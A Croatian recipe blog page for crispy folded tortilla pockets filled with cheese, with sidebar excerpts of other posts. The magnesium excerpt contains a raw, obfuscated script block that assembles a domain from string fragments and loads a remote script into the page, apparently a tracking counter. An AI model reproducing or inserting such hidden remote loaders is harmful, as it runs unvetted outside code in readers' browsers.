HRSKAVA TORTILJA UŠTIPAK PUNJEN SIROM





Hrskava tortilja uštipak punjen sirom 




Tajna ovog recepta leži u potpunom zaobilaženju klasičnog postupka izrade tijesta za uštipke. Umjesto brašna i miksera, bazu čine gotove pšenične tortilje koje u dodiru s malo maslaca u tavi poprimaju nevjerojatno lisnatu, zlatnu i hrskavu teksturu nalik najfinijem domaćem tijestu. Ovaj obrok savršen je jer nakon njega nema teškog osjećaja u želucu, a kuhinja ostaje potpuno pročišćena i čista, bez gomile prljavog suđa i pobrašnjenih radnih površina.





Hrskava tortilja uštipak punjen sirom 



Sastojci:

  • 1 pakiranje gotovih pšeničnih tortilja
  • 200 g sira koji se lako topi (gauda, edamac, mozzarella ili cheddar)
  • 50 g feta sira ili svježeg krem sira (za bogatiji okus)
  • Malo maslaca ili maslinovog ulja za tavu
  • Dodaci po želji: svježi listići bosiljka, malo šunke ili sušene rajčice




Priprema:

  1. Rezanje i punjenje: Uzmite jednu tortilju i prerežite je nožem od sredine prema vanjskom rubu (samo jedan ravan rez do središta). Na svaku četvrtinu tortilje poslažite malo naribanog sira i dodatke po želji. Možete kombinirati krem sir na jednoj četvrtini, a naribanu gaudu na drugoj.
  2. Tehnika preklapanja: Počevši od zarezanog dijela, preklapajte četvrtinu po četvrtinu prema gore dok ne dobijete oblik debelog, slojevitog trokuta (uštipka) u kojem je sir sigurno zatvoren unutar slojeva tortilje.
  3. Brzo pečenje u tavi: U dobro zagrijanu tavu stavite sasvim malo maslaca ili kap maslinovog ulja. Stavite pripremljene trokute u tavu i pecite ih na umjerenoj vatri oko minutu do minutu i pol sa svake strane.
  4. Rezultat: Tortilja će u trenu postati jarko zlatna i ekstremno hrskava, a sir u unutrašnjosti će se potpuno rastopiti i povezati sve slojeve u sočnu, toplu cjelinu.
Poslužite ih odmah dok su vrući, uz zdjelicu hladnog grčkog jogurta, svježe krastavce ili ljetnu salatu od rajčica. Ovaj brzi obrok će vam osigurati vrhunski užitak bez popodnevnog umora i teških kulinarskih pothvata.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više